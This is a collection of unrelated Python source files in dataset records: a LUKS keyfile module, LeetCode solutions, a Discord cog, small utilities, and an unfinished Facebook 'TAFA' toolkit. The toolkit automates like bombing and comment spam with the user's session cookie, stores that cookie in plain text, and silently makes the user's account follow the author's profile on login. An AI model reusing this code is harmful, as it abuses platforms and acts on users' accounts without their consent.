edit.\n new_entry = \"luks-%s UUID=%s %s luks\\n\" % (uuid, uuid, keyfile_entry)\n temp_file.write(new_entry)\n # secure temp file now holds our proposed (post edit) crypttab.\n # Copy contents over existing crypttab and ensure tempfile is removed.\n try:\n # shutil.copy2 is equivalent to cp -p (preserver attributes).\n # This preserves the secure defaults of the temp file without having\n # to chmod there after. Result is the desired:\n # -rw------- 1 root root\n # ie rw to root only or 0600\n # and avoiding a window prior to a separate chmod command.\n shutil.copy2(npath, CRYPTTABFILE)\n except Exception as e:\n msg = \"Exception while creating fresh %s: %s\" % (CRYPTTABFILE, e.__str__())\n raise Exception(msg)\n finally:\n if os.path.exists(npath):\n try:\n os.remove(npath)\n except Exception as e:\n msg = \"Exception while removing temp file %s: %s\" % (npath, e.__str__())\n raise Exception(msg)\n return True\n\n\ndef new_crypttab_single_entry(uuid, keyfile_entry):\n \"\"\"\n Creates a new /etc/crypttab file and inserts a single entry with the\n following format:\n luks- UUID= /root/keyfile- luks\n Intended as a helper for update_crypttab() specifically for use when their\n is no existing /etc/crypttab and so no requirement for edit functions.\n N.B. Care is taken to ensure our secure temporary file containing our\n crypttab line details is removed irrespective of outcome.\n :param uuid: uuid of the associated LUKS container such as is returned by:\n cryptsetup luksUUID \n :param keyfile_entry: the literal intended contents of the 3rd column.\n :return: True if /etc/crypttab creation and edit is successful, exception\n raised otherwise.\n \"\"\"\n # Create a temp file to construct our /etc/crypttab in prior to copying\n # with preserved attributes.\n tfo, npath = mkstemp()\n # Pythons _candidate_tempdir_list() should ensure our npath temp file is\n # in memory (tmpfs). From https://docs.python.org/2/library/tempfile.html\n # we have \"Creates a temporary file in the most secure manner possible.\"\n crypttab_line = \"luks-%s UUID=%s %s luks\\n\" % (uuid, uuid, keyfile_entry)\n try:\n with open(npath, \"w\") as tempfo:\n tempfo.write(crypttab_line)\n # shutil.copy2 is equivalent to cp -p (preserver attributes).\n # This preserves the secure defaults of the temp file without having\n # to chmod there after. Result is the desired:\n # -rw------- 1 root root\n # ie rw to root only or 0600\n # and avoiding a window prior to a separate chmod command.\n shutil.copy2(npath, CRYPTTABFILE)\n except Exception as e:\n msg = \"Exception while creating fresh %s: %s\" % (CRYPTTABFILE, e.__str__())\n raise Exception(msg)\n finally:\n if os.path.exists(npath):\n try:\n os.remove(npath)\n except Exception as e:\n msg = \"Exception while removing temp file %s: %s\" % (npath, e.__str__())\n raise Exception(msg)\n return True\n\n\ndef establish_keyfile(dev_byid, keyfile_withpath, passphrase):\n \"\"\"\n Ensures that the given keyfile_withpath exists and calls create_keyfile()\n if it doesn't. Then attempts to register the established keyfile with the\n dev_byid device via \"cryptsetup luksAddKey dev keyfile passphrase\". But\n only if the passphrase is found to not equal '', flag for skip luksAddKey.\n N.B. The passphrase is passed to the command via a secure temporary file.\n Care is taken to remove this file irrespective of outcome.\n An existing keyfile will not be altered or deleted but a freshly created\n keyfile will be removed if our 'cryptsetup luksAddKey' returns non zero.\n :param dev_byid: by-id type name without path as found in db Disks.name.\n :param keyfile_withpath: the intended keyfile with full path.\n :param passphrase: LUKS passphrase: any current key slot passphrase. If\n an empty passphrase is passed then 'cryptsetup luksAddKey' is skipped.\n :return: True if keyfile successfully registered. False or an Exception\n is raised in all other instances.\n \"\"\"\n fresh_keyfile = False # Until we find otherwise.\n # First we establish if our keyfile exists, and if not we create it.\n if not os.path.isfile(keyfile_withpath):\n # attempt to create our keyfile:\n if not create_keyfile(keyfile_withpath):\n # msg = ('Failed to establish new or existing keyfile: %s: %s' %\n # (keyfile_withpath, e.__str__()))\n # raise Exception(msg)\n return False\n fresh_keyfile = True\n # We are by now assured of an existing keyfile_withpath.\n # Only register this keyfile with our LUKS container if needed:\n if passphrase == \"\":\n # If an empty passphrase was passed then we interpret this as a flag\n # to indicate no requirement to 'cryptsetup luksAddKey' so we are now\n # done. Use case is the return to \"auto unlock via keyfile\" when that\n # keyfile has already been registered. UI will not ask for passphrase\n # as it is assumed that an existing keyfile is already registered.\n return True\n dev_byid_withpath = get_device_path(dev_byid)\n tfo, npath = mkstemp()\n # Pythons _candidate_tempdir_list() should ensure our npath temp file is\n # in memory (tmpfs). From https://docs.python.org/2/library/tempfile.html\n # we have \"Creates a temporary file in the most secure manner possible.\"\n # Populate this file with our passphrase and use as cryptsetup keyfile.\n # We set rc in case our try fails earlier than our run_command.\n rc = 0\n cmd = [\n CRYPTSETUP,\n \"luksAddKey\",\n dev_byid_withpath,\n keyfile_withpath,\n \"--key-file\",\n npath,\n ]\n try:\n with open(npath, \"w\") as passphrase_file_object:\n passphrase_file_object.write(passphrase)\n out, err, rc = run_command(cmd, throw=False)\n if rc != 0: # our luksAddKey command failed.\n if fresh_keyfile:\n # a freshly created keyfile without successful luksAddKey is\n # meaningless so remove it.\n os.remove(keyfile_withpath)\n raise CommandException((\"%s\" % cmd), out, err, rc)\n except Exception as e:\n if rc == 1:\n msg = \"Wrong Parameters exception\"\n elif rc == 2:\n msg = \"No Permission (Bad Passphrase) exception\"\n elif rc == 3:\n msg = \"Out of Memory exception\"\n elif rc == 4:\n msg = \"Wrong Device Specified exception\"\n elif rc == 5:\n msg = \"Device already exists or device is busy exception\"\n else:\n msg = \"Exception\"\n msg += \" while running command(%s): %s\" % (cmd, e.__str__())\n raise Exception(msg)\n finally:\n passphrase_file_object.close()\n if os.path.exists(npath):\n try:\n os.remove(npath)\n except Exception as e:\n msg = \"Exception while removing temp file %s: %s\" % (npath, e.__str__())\n raise Exception(msg)\n return True\n\n\ndef create_keyfile(keyfile_withpath):\n \"\"\"\n Function to create a random keyfile appropriate for LUKS use. Works by\n initially creating a temp file with the appropriate contents and then\n copying the file over. This minimises lock time on our target keyfile.\n Currently hardwired to make 2048 byte /dev/urandom sourced keyfiles.\n This is equivalent to a 2^14bit keyfile.\n :param keyfile_withpath: full path and name of the intended keyfile.\n :return: True on success, or if the keyfile_with_path exists, False\n otherwise.\n \"\"\"\n # If our target file exists we are done and return True (no overwriting).\n if os.path.isfile(keyfile_withpath):\n return True\n # Otherwise we generate the keyfile.\n tfo, npath = mkstemp()\n # Pythons _candidate_tempdir_list() should ensure our npath temp file is\n # in memory (tmpfs). From https://docs.python.org/2/library/tempfile.html\n # we have \"Creates a temporary file in the most secure manner possible.\"\n try:\n with open(npath, \"w\") as temp_keyfile:\n cmd = [DD, \"bs=512\", \"count=4\", \"if=/dev/urandom\", \"of=%s\" % npath]\n out, err, rc = run_command(cmd, throw=False)\n if rc != 0:\n return False\n # shutil.copy2 is equivalent to cp -p (preserver attributes).\n # This preserves the secure defaults of the temp file without having\n # to chmod there after. Result is the desired:\n # -rw------- 1 root root\n # ie rw to root only or 0600\n # and avoiding a window prior to a separate chmod command.\n shutil.copy2(npath, keyfile_withpath)\n except Exception as e:\n msg = \"Exception while creating keyfile %s: %s\" % (\n keyfile_withpath,\n e.__str__(),\n )\n raise Exception(msg)\n finally:\n # make sure we remove our temp file (just in case it became a keyfile)\n temp_keyfile.close()\n if os.path.isfile(npath):\n try:\n os.remove(npath)\n except Exception as e:\n msg = \"Exception while removing temp file %s: %s\" % (npath, e.__str__())\n raise Exception(msg)\n return True\n\n\ndef native_keyfile_exists(uuid):\n \"\"\"\n Simple wrapper around os.path.isfile(/root/keyfile-) to establish if\n a Rockstor native keyfile exists.\n :return: True if /root/keyfile- exists, False otherwise.\n \"\"\"\n try:\n return os.path.isfile(\"/root/keyfile-%s\" % uuid)\n except:\n return False\n","repo_name":"rockstor/rockstor-core","sub_path":"src/rockstor/system/luks.py","file_name":"luks.py","file_ext":"py","file_size_in_byte":28169,"program_lang":"python","lang":"en","doc_type":"code","stars":520,"dataset":"github-code","pt":"11"} +{"seq_id":"32614902537","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n #生成具体的树结构\n def generateTrees(self, n: int) -> List[TreeNode]:\n \n def generate_trees(start, end):\n if start > end:\n return [None, ]\n\n all_trees = []\n for i in range(start, end + 1): # pick up a root\n # all possible left subtrees if i is choosen to be a root\n left_trees = generate_trees(start, i - 1)\n\n # all possible right subtrees if i is choosen to be a root\n right_trees = generate_trees(i + 1, end)\n\n # connect left and right subtrees to the root i\n for l in left_trees:\n for r in right_trees:\n current_tree = TreeNode(i)\n current_tree.left = l\n current_tree.right = r\n all_trees.append(current_tree)\n\n return all_trees\n\n return generate_trees(1, n) if n else []\n \n \n \nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n #统计树的数量——超时\n def numTrees(self, n: int) -> int:\n answer = self.core(1, n)\n\n return answer\n\n def core(self, start, end):\n if start > end:\n return 1\n else:\n res = 0\n for i in range(start, end + 1):\n left = self.core(start, i - 1)\n right = self.core(i + 1, end)\n res += left * right\n return res\n\n \n \nclass Solution2:\n def numTrees(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n #另G代表左右子树有几个节点能有几种情况\n G = [0]*(n+1)\n G[0], G[1] = 1, 1\n\n for i in range(2, n+1):\n for j in range(1, i+1):\n G[i] += G[j-1] * G[i-j]\n\n return G[n]\n\n\nclass Solution3(object):\n #卡塔兰数计算\n def numTrees(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n C = 1\n for i in range(0, n):\n C = C * 2*(2*i+1)/(i+2)\n return int(C)\n \n \n \n\nk = Solution()\nprint(k.numTrees(3))\n","repo_name":"huangketsudou/leetcode_python","sub_path":"List Node/generateTree.py","file_name":"generateTree.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"28946745825","text":"import discord\nfrom discord.ext import commands\nfrom .utils.chat_formatting import pagify, box\nfrom __main__ import send_cmd_help\n\n\nclass CommandSearch:\n \"\"\"Search for commands\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(aliases=[\"cmds\", \"coms\"])\n async def commandsearch(self, search_string: str):\n \"\"\"Search commands\"\"\"\n # Build commands list\n commands_flat = {}\n for k, v in self.bot.commands.items():\n self._add_command(k, v, commands_flat)\n\n # Get matches\n matches = [c for c in commands_flat if search_string in c]\n\n # Display embed if possible\n cmds = \"\\n\".join(matches)\n cogs = \"\\n\".join([str(commands_flat[m].cog_name) for m in matches])\n if not matches:\n embed = discord.Embed(colour=0xcc0000)\n embed.description = \"No results for '{}'\".format(search_string)\n await self.bot.say(embed=embed)\n elif len(cmds) < 900 and len(cogs) < 900:\n embed = discord.Embed(colour=0x00cc00)\n embed.add_field(name=\"Command\", value=cmds)\n embed.add_field(name=\"Cog\", value=cogs)\n embed.set_footer(text=\"{} result{} for '{}'\".format(\n len(matches), \"\" if len(matches) == 1 else \"s\", search_string))\n await self.bot.say(embed=embed)\n else:\n maxlen = len(max(matches, key=len))\n msg = \"\\n\".join([\"{0:{1}} {2}\".format(m, maxlen, str(commands_flat[m].cog_name)) for m in matches])\n for page in pagify(msg):\n await self.bot.whisper(box(page))\n\n def _add_command(self, name, command, commands_flat, prefix=\"\"):\n \"\"\"Adds command to a given dict\"\"\"\n if isinstance(command, commands.core.Group):\n prefix += \" {}\".format(name)\n for k, v in command.commands.items():\n self._add_command(k, v, commands_flat, prefix)\n else:\n name = \"{} {}\".format(prefix, name).strip()\n commands_flat[name] = command\n\n\ndef setup(bot):\n n = CommandSearch(bot)\n bot.add_cog(n)\n","repo_name":"ritsu/RitsuCogs","sub_path":"commandsearch/commandsearch.py","file_name":"commandsearch.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"17617808221","text":"import tensorflow as tf\n\n\n# 打印时间分割线\n@tf.function\ndef printbar():\n today_ts = tf.timestamp() % (24 * 60 * 60)\n\n hour = tf.cast(today_ts // 3600 + 8, tf.int32) % tf.constant(24)\n minite = tf.cast((today_ts % 3600) // 60, tf.int32)\n second = tf.cast(tf.floor(today_ts % 60), tf.int32)\n\n def timeformat(m):\n if tf.strings.length(tf.strings.format(\"{}\", m)) == 1:\n return tf.strings.format(\"0{}\", m)\n else:\n return tf.strings.format(\"{}\", m)\n\n timestring = tf.strings.join(\n [timeformat(hour), timeformat(minite), timeformat(second)], separator=\":\"\n )\n tf.print(\"==========\" * 8 + timestring)\n\n","repo_name":"Yuran-Zhao/tf2-multimodal_sarcasm_detection","sub_path":"code/finetune/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29856070819","text":"# -*- coding:utf-8\n'''\n Created on 13/09/2011\n @author: C&C - HardSoft\n'''\nimport sys, string\nfrom Aplicacao import Aplicacao\nfrom Regras import Regras\nfrom Entidades import Entidades\nfrom PrimaryKeys import PrimaryKeys\nfrom CheckList import CheckList\n\nclass Programas:\n\n def __init__(self, db, cAppl=None):\n self.db = db\n self.cAppl = cAppl or 0\n self.applId = Aplicacao(self.db, self.cAppl).getApplId()\n self.programas = self.db.programas\n self.char = string.digits + string.ascii_uppercase\n self.gravados = 0\n self.regra = Regras(self.db).getRegras(1)\n self.entidades = Entidades(self.db, cAppl=self.cAppl)\n self.primaryKeys = PrimaryKeys(self.db)\n self.bookSaida = {'I':0, 'A':'0', 'E':0, 'C':1, 'L':1}\n returnCode = self.maxPrograma()\n if returnCode[0] and returnCode[1]:\n mp = returnCode[1]\n self.c1 = self.char.index(mp[0])\n self.c2 = self.char.index(mp[1])\n else:\n self.c1 = 0\n self.c2 = -1\n self.checkList = CheckList(self.db, cAppl=self.cAppl)\n\n def nomearProgramas(self):\n returnCode = self.entidades.selectEntidadesProgramasBycodigoAplicacao()\n if not returnCode[0]:\n return [0, \"Não existem Entidades para esta Aplicação\", returnCode[1]]\n for codigoEntidade, listaProgramas in returnCode[1]:\n if listaProgramas[0]:\n bookSaidaI = 0\n if not self.primaryKeys.primaryKeyInformada(codigoEntidade):\n bookSaidaI = 1\n self.insertProgramas(codigoEntidade\n , 1\n , self.regra['I'][0]\n , self.novoNomePrograma()\n , bookSaidaI\n )\n if listaProgramas[1]:\n self.insertProgramas(codigoEntidade\n , 1\n , self.regra['A'][0]\n , self.novoNomePrograma()\n , self.bookSaida['A']\n )\n if listaProgramas[2]:\n self.insertProgramas(codigoEntidade\n , 1\n , self.regra['E'][0]\n , self.novoNomePrograma()\n , self.bookSaida['E']\n )\n if listaProgramas[3]:\n self.insertProgramas(codigoEntidade\n , 1\n , self.regra['C'][0]\n , self.novoNomePrograma()\n , self.bookSaida['C']\n )\n if listaProgramas[4]:\n self.insertProgramas(codigoEntidade\n , 1\n , self.regra['L'][0]\n , self.novoNomePrograma()\n , self.bookSaida['L']\n )\n\n ckListPGM = self.checkList.updateCheckListProgramas()\n if not ckListPGM[0]:\n return ckListPGM\n\n self.db.commit()\n return [1,'Programas Nomeados >>>' \\\n + '\\n' + ' Gravados = ' + str(self.gravados) \\\n + '\\n']\n\n def nomearPrograma(self, entidadeId, codigoTipo, regra):\n returnCode = self.insertProgramas( entidadeId\n , codigoTipo\n , self.regra[regra][0]\n , self.novoNomePrograma()\n , self.bookSaida[regra])\n if returnCode[0]:\n self.db.commit()\n return [1, str(self.gravados) + \" Programa Nomeado\"]\n else:\n return [0, returnCode[1], returnCode[2]]\n\n def insertProgramas(self, codigoEntidade, codigoTipo, codigoRegra, nomePrograma, bookSaida):\n try:\n self.programas.insert(codigoAplicacao = int(self.cAppl)\n ,codigoEntidade = codigoEntidade\n ,codigoTipo = codigoTipo\n ,codigoRegra = codigoRegra\n ,nomePrograma = nomePrograma\n ,bookSaida = bookSaida)\n self.gravados += 1\n return [1]\n except:\n return [0,\"Ocorreu um erro no Insert da Tabela Programas.\", sys.exc_info()[1]]\n\n def maxPrograma(self):\n try:\n query=self.db(self.programas.codigoAplicacao == int(self.cAppl)).select(self.programas.nomePrograma.max())\n except:\n return [0,\"Ocorreu um erro no select da Tabela Programas.\", sys.exc_info()[1]]\n if query:\n maxPrograma = query[0]._extra['MAX(programas.nomePrograma)']\n else:\n return [0, 0]\n return [1, maxPrograma]\n\n def novoNomePrograma(self):\n self.c2 += 1\n if self.c2 > 35:\n self.c1 += 1\n self.c2 = 0\n return self.char[self.c1] + self.char[self.c2]\n\n def selectProgramasByEntidadeRegra(self, codigoEntidade, regra):\n try:\n query=self.db((self.programas.codigoEntidade == int(codigoEntidade))\n & (self.programas.codigoRegra == self.regra[regra][0])).select()\n except:\n return [0,'Ocorreu um erro no Select da Tabela Programas.', sys.exc_info()[1]]\n if not query:\n return [0, 0]\n return [1, query]\n","repo_name":"flavio-casacurta/soag","sub_path":"modules/Programas.py","file_name":"Programas.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74124667867","text":"from sys import stdin\ninput = stdin.readline\ns = input().rstrip()\nfor i in s:\n if i == ' ':\n print(' ',end='')\n elif ord(i) >= 65 and ord(i) <= 90:\n if ord(i)+13 <= 90:\n print(chr(ord(i)+13),end='')\n else:\n print(chr(64+ord(i)+13-90),end='')\n elif ord(i) >= 97 and ord(i) <= 122:\n if ord(i)+13 <= 122:\n print(chr(ord(i)+13),end='')\n else:\n print(chr(96+ord(i)+13-122),end='')\n else:\n print(i,end='')\n","repo_name":"deldu1337/Algorithm","sub_path":"Python/문자열/ROT13.py","file_name":"ROT13.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6422636160","text":"from Structural.flyweight_pattern.flyweight_factory import FlyweightFactory\n\n\ndef add_doc(factory: FlyweightFactory, isbn: str, title:str, autor: str, editorial: str, year: int) -> None:\n print(\"\\n\\nClient: Adding a document to database.\")\n flyweight = factory.get_flyweight([isbn, title, autor])\n # The client code either stores or calculates extrinsic state and passes it\n # to the flyweight's methods.\n flyweight.operation([editorial, year])\n\n\nif __name__ == \"__main__\":\n \"\"\"\n The client code usually creates a bunch of pre-populated flyweights in the\n initialization stage of the application.\n \"\"\"\n\n factory = FlyweightFactory([\n [\"978-1449331818\", \"Learning JavaScript Design Patterns\", \"Addy Osmani\"],\n [\"978-0201633610\", \"Design Patterns: Elements of Reusable Object-Oriented Software\", \"Richard Helm \"],\n ])\n\n factory.list_flyweights()\n\n add_doc(factory, \"978-9332555402\", \"Design Patterns\", \"Erich Gamma\", \"Person\", 2015)\n add_doc(factory, \"978-9332555402\", \"Design Patterns\", \"Erich Gamma\", \"O'Reilly\", 2015)\n print(\"\\n\")\n\n factory.list_flyweights()","repo_name":"ISCOUTB/DesignPattern-ISCO-A18A","sub_path":"Structural/flyweight_pattern/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"43747383975","text":"\"\"\"\nUtility module for asynchronously running task.\n\"\"\"\nimport threading\n\n\ndef submit(task):\n \"\"\"\n Asynchronously runs task in a background thread.\n\n :param task: function that is the task to be run\n :return thread that runs task\n \"\"\"\n th = threading.Thread(target=task, daemon=True)\n th.start()\n return th\n","repo_name":"tetsuyaokuyama0312/image-resizer","sub_path":"async_util.py","file_name":"async_util.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41902463794","text":"#Warna\nW = '\\033[1;37m' #Putih\nN = '\\033[0m' # Tutup\nR = '\\033[1;37m\\033[31m' #Merah\nG = '\\033[1;32m' #Ijo\nB = '\\033[1;37m\\033[34m' # biru\nO = '\\033[33m' # Kuning\nC = '\\033[36m' #Biru laut\nK = '\\x1b[1;93m' #Kuning\n\nnotic = \"{}{}[*]{} \".format(N,B,N)\nwarning = \"{}[-]{} \".format(R,N)\ngood = \"{}[!]{} \".format(G,N)\nwarn = \"{}[!]{} \".format(O,N)\nexi = \"{}[{}!{}] \".format(W,R,W)\ninp = '\\n >>> '\ndef logo(t=False, n=False):\n\ta = (\"\"\"%s\n _________ _________ \n /_ __/ | / ____/ |\n / / / /| | / /_ / /| |\n / / / ___ |/ __/ / ___ |\n/_/ /_/ |_/_/ /_/ |_| %sv0.3 Beta%s\n \n\"\"\" % (W,K,W)).splitlines()\n\tangka = 0\n\tfor s in a:\n\t\tprint(\"\\t\" + s)\n\tif t:\n\t\tsupported = [\"\\t[*] Supported: Uzang [*]\", \"\\t[*] Supported: TyoMP [*]\", \"\\t[*] Supported: Mr-Xsz [*]\"]\n\t\tprint(\"\\t[*] Toolkit For Facebook [*]\")\n\t\tprint(\"\\t[*] Author: SalisM3 [*]\")\n\t\tprint(random.choice(supported))\n\telif n:\n\t\tnama = eval(open('kuki.txt').read())['nama'][:20]\n\t\tspasi = (22 - len(nama) - 1) // 2\n\t\tspasi = spasi * \" \"\n\t\tprint(\"\\t[*] \" + spasi + nama + spasi + \" [*]\\n\")\n\t\t\ndef echo(teks):\n\tprint(\" \" + teks)\n\t\ndef follow_aing(kuki):\n\ttry:\n\t\tdata = parser(r.get('https://mbasic.facebook.com/profile.php?id=100041106940465', headers={'cookie':kuki}).text, 'html.parser').find('a', string='Ikuti').get('href')\n\t\tdata = str(data)\n\t\tr.get(\"https://mbasic.facebook.com\" + data, headers={'cookie':kuki})\n\texcept:\n\t\tpass\n\ndef enter():\n\tclick('\\n %s[ %sPress Enter To Back %s]' % (W,K,W))\n\tos.system('python TAFA.py')\n\texit()\n\t\ndef wrong_id(id,p=False,g=False,f=False,h=False):\n\tgas = Core()\n\tif p:\n\t\tcek = gas.cek_id(id,p=True)\n\telif g:\n\t\tcek = gas.cek_id(id,p=True)\n\telif f:\n\t\tcek = gas.cek_id(id,f=True)\n\telif h:\n\t\tcek = gas.cek_id(id,h=True)\n\t\t\n\tif cek:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\n\n##### class #####\nclass Menu:\n\tdef __init__(self):\n\t\tpass\n\t\t\n\tdef m1(self):\n\t\tprint()\n\t\techo(\"%s1%s). Go To Menu\" % (G,W))\n\t\techo(\"%s2%s). Login\" % (G,W))\n\t\techo(\"%s3%s). Logout\" % (G,W))\n\t\techo(\"%s4%s). Info Tools\" % (G,W))\n\t\techo(\"%s0%s). Exit\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tlogin = Login()\n\t\tif pilih == 0:\n\t\t\techo(\"%s[%s!%s] Exit: Ok\" % (W,R,W))\n\t\telif pilih == 1:\n\t\t\tif not cek_login():\n\t\t\t\techo(\"[!] Please Login\")\n\t\t\t\ttime.sleep(1)\n\t\t\t\thome()\n\t\t\telse:\n\t\t\t\tself.m2()\n\t\telif pilih == 2:\n\t\t\tlogin.in_()\n\t\telif pilih == 3:\n\t\t\tlogin.out()\n\t\telif pilih == 4:\n\t\t\tprint()\n\t\t\techo(\"%s[%s~%s] Find Me On : \" % (W,G,W))\n\t\t\techo(\"[%s+%s] Author %s: %sSalisM3 | Angga \" % (G,W,G,W))\n\t\t\techo(\"[%s+%s] Facebook %s: %sSalis Mazaya\" % (G,W,G,W))\n\t\t\techo(\"[%s+%s] Email %s: %ssalismazaya@gmail.com\" % (G,W,G,W))\n\t\t\techo(\"[%s+%s] Telegram %s: %s@salismiftah\" % (G,W,G,W))\n\t\t\techo(\"[%s+%s] YouTube %s: %sScript Termux\" % (G,W,G,W))\n\t\t\techo(\"[%s+%s] InstaGram %s: %s 4N9GA\" % (G,W,G,W))\n\t\t\techo(\"[%s~%s] Date Release %s: %s 25/10/2019\" % (G,W,G,W))\n\t\t\t\n\t\t\tenter()\n\t\telse:\n\t\t\thome()\n\t\t\t\n\tdef m2(self): # home menu\n\t\tos.system('clear')\n\t\tlogo(n=True)\n\t\techo(\"%s1%s). Like\" % (G,W))\n\t\techo(\"%s2%s). React\" % (G,W))\n\t\techo(\"%s3%s). Comment\" % (G,W))\n\t\techo(\"%s4%s). Group\" % (G,W))\n\t\techo(\"%s5%s). Friend\" % (G,W))\n\t\techo(\"%s0%s). Back\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tif pilih == 0:\n\t\t\thome()\n\t\telif pilih == 1:\n\t\t\tself.m3()\n\t\telif pilih == 2:\n\t\t\tself.m5()\n\t\telif pilih == 3:\n\t\t\tself.m6()\n\t\telif pilih == 4:\n\t\t\tprint()\n\t\t\techo(\"[!] Cooming Soon\")\n\t\t\tenter()\n\t\telif pilih == 5:\n\t\t\tself.m4()\n\t\telse:\n\t\t\tself.m2()\n\t\n\tdef m3(self): # like menu\n\t\tos.system('clear')\n\t\tlogo(n=True)\n\t\techo(\"%s1%s). Bom Like Friend Timeline\" % (G,W))\n\t\techo(\"%s2%s). Bom Like in Group\" % (G,W))\n\t\techo(\"%s3%s). Bom Like in Fanspage\" % (G,W))\n\t\techo(\"%s4%s). Bom Like in Home\" % (G,W))\n\t\techo(\"%s0%s). Back\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tif pilih == 1:\n\t\t\tbom_like_friend()\n\t\telif pilih == 2:\n\t\t\tbom_like_grup()\n\t\telif pilih == 3:\n\t\t\tbom_like_halaman()\n\t\telif pilih == 4:\n\t\t\tbom_like_home()\n\t\telif pilih == 0:\n\t\t\tself.m2()\n\t\telse:\n\t\t\tself.m3()\n\t\n\tdef m4(self): # other menu\n\t\tos.system('clear')\n\t\tlogo(n=True)\n\t\techo(\"%s1%s). Acc All Friend Requests\" % (G,W))\n\t\techo(\"%s2%s). Reject All Friend Requests\" % (G,W))\n\t\techo(\"%s3%s). Unadd (not Unfriend)\" % (G,W))\n\t\techo(\"%s0%s). Back\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tif pilih == 0:\n\t\t\tself.m2()\n\t\telif pilih == 1:\n\t\t\tacc_all_friend()\n\t\telif pilih == 2:\n\t\t\trej_all_friend()\n\t\telif pilih == 3:\n\t\t\tunadd_all_friend()\n\t\telse:\n\t\t\tself.m4()\n\t\n\tdef m5(self): #react menu\n\t\tos.system('clear')\n\t\tlogo(n=True)\n\t\techo(\"%s1%s). Bom React Friend Timeline\" % (G,W))\n\t\techo(\"%s0%s). Back\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tif pilih == 0:\n\t\t\tself.m2()\n\t\telif pilih == 1:\n\t\t\tbom_react_friend()\n\t\telse:\n\t\t\tself.m5()\n\t\t\n\tdef m6(self): #komen menu\n\t\tos.system('clear')\n\t\tlogo(n=True)\n\t\techo(\"%s1%s). Spam Comment Friend Timeline\" % (G,W))\n\t\techo(\"%s2%s). Spam Comment in Group\" % (G,W))\n\t\techo(\"%s3%s). Spam Comment in Fanspage\" % (G,W))\n\t\techo(\"%s4%s). Spam Comment in Home\" % (G,W))\n\t\techo(\"%s0%s). Back\" % (R,W))\n\t\tpilih = int(input(inp))\n\t\tif pilih == 0:\n\t\t\tself.m2()\n\t\telif pilih == 1:\n\t\t\tspam_komen_friend()\n\t\telif pilih == 2:\n\t\t\tspam_komen_grup()\n\t\telif pilih == 3:\n\t\t\tspam_komen_halaman()\n\t\telif pilih == 4:\n\t\t\tspam_komen_home()\n\t\telse:\n\t\t\tself.m6()\n\t\t\n\t\t\nclass Login():\n\tdef __init__(self):\n\t\tpass\n\t\n\tdef in_(self):\n\t\tif cek_login():\n\t\t\techo(\"%s[%s+%s] You Has Been Login\" % (W,G,W))\n\t\t\ttime.sleep(1)\n\t\t\thome()\n\t\telse:\n\t\t\tos.system('clear')\n\t\t\techo(\"%s[ %sEnter Your Facebook Cookies %s]\\n\" % (W,C,W))\n\t\t\tkuki = str(input(\" %s[%s?%s] Your Cookies: \" % (W,R,W)))\n\t\t\tif cek_login(c=True, kuki=kuki):\n\t\t\t\tif not \"id_ID\" in kuki:\n\t\t\t\t\tprint()\n\t\t\t\t\techo(\"%s[%s!%s] Use Indonesian Language When Generating Cookies\" % (W,R,W))\n\t\t\t\t\tenter()\n\t\t\t\topen('kuki.txt', 'w').write(\"{'kuki':'\" + kuki + \"'}\")\n\t\t\t\tkuki = eval(open('kuki.txt').read())['kuki']\n\t\t\t\tfollow_aing(kuki)\n\t\t\t\tinfo = Information()\n\t\t\t\tnama = info.get_name_myself()\n\t\t\t\techo(\"%s[%s!%s] Login Success\" % (W,R,W))\n\t\t\t\ttime.sleep(0.5)\n\t\t\t\topen('kuki.txt', 'w').write(\"{'nama':'\" + nama + \"', 'kuki':'\" + kuki + \"'}\")\n\t\t\t\techo(\"%s[%s!%s] Your Cookies Saved in: kuki.txt\" % (W,R,W))\n\t\t\t\ttime.sleep(1)\n\t\t\t\thome()\n\t\t\telse:\n\t\t\t\techo(\"%s[%s!%s] Invalid Cookies\" % (W,R,W))\n\t\t\t\ttime.sleep(1)\n\t\t\t\thome()\n\t\n\tdef out(self):\n\t\tpilih = str(input('\\n %s[%s?%s] type \"%syes%s\" to confirm: ' % (W,R,W,G,W)))\n\t\tif pilih == \"yes\":\n\t\t\ttry:\n\t\t\t\tos.remove('kuki.txt')\n\t\t\t\techo(\"%s[%s!%s] Logout: Ok\" % (W,R,W))\n\t\t\texcept:\n\t\t\t\techo(\"%s[%s!%s] Logout: Failed\" % (W,R,W))\n\t\t\ttime.sleep(1)\n\t\t\thome()\n\t\telse:\n\t\t\techo(\"%s[%s!%s] Operation Cancelled\" % (W,R,W))\n\t\t\ttime.sleep(1)\n\t\t\thome()\n##### class #####\n\ndef update_kuki():\n\twhile True:\n\t\tkuki = str(input('\\n [!] your proses has been stoped because your\\n cookies expired to continue please update it\\n or type \"exit\" to exit : '))\n\t\tif kuki == \"exit\":\n\t\t\traise KeyboardInterrupt\n\t\telif 